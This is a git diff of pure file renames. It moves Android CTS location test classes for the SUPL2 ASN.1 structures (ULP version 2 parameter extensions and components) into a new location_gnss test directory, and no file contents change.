diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SessionCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Supported3GPP2PosProtocolVersion.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_Notification_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosPayLoad_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosProtocol_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_PosTechnology_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_RequestedAssistData_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ulp_version_2_parameter_extensions/Ver2_SETCapabilities_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ApplicationID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ApplicationID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ApplicationID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ApplicationID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/BatchRepCap.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/BatchRepCap.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/BatchRepCap.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/BatchRepCap.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CauseCode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CauseCode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CauseCode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CauseCode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellIdentity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CellIdentity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellIdentity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CellIdentity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CircularArea.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CircularArea.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CircularArea.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/CircularArea.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Coordinate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/Coordinate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Coordinate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/Coordinate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/EllipticalArea.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/EllipticalArea.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/EllipticalArea.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/EllipticalArea.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GANSSSignals.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/GANSSSignals.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GANSSSignals.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/GANSSSignals.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationEncodingDescriptor.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationIdData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationIdData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LocationIdData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LocationIdData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LteCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LteCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/LteCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/LteCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MCC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MCC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MNC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MNC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MNC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MNC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PLMN_Identity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PLMN_Identity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PLMN_Identity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PLMN_Identity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PhysCellId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PhysCellId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PhysCellId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PhysCellId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonArea.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PolygonArea.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonArea.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PolygonArea.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonDescription.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PolygonDescription.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonDescription.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/PolygonDescription.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRP_Range.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RSRP_Range.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRP_Range.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RSRP_Range.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRQ_Range.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RSRQ_Range.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRQ_Range.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RSRQ_Range.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTDUnits.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RTDUnits.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTDUnits.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RTDUnits.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RelativeTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RelativeTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RelativeTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RelativeTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RepMode_cap.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RepMode_cap.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RepMode_cap.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/RepMode_cap.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportedLocation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ReportedLocation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportedLocation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ReportedLocation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportingCap.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ReportingCap.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportingCap.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ReportingCap.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SET_GANSSReferenceTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKey.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCSETKey.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKey.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCSETKey.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCTID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCTID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCTID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SPCTID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedNetworkInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11a.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsChannel11bg.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdParty.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ThirdParty.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdParty.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ThirdParty.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdPartyID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ThirdPartyID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdPartyID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/ThirdPartyID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java
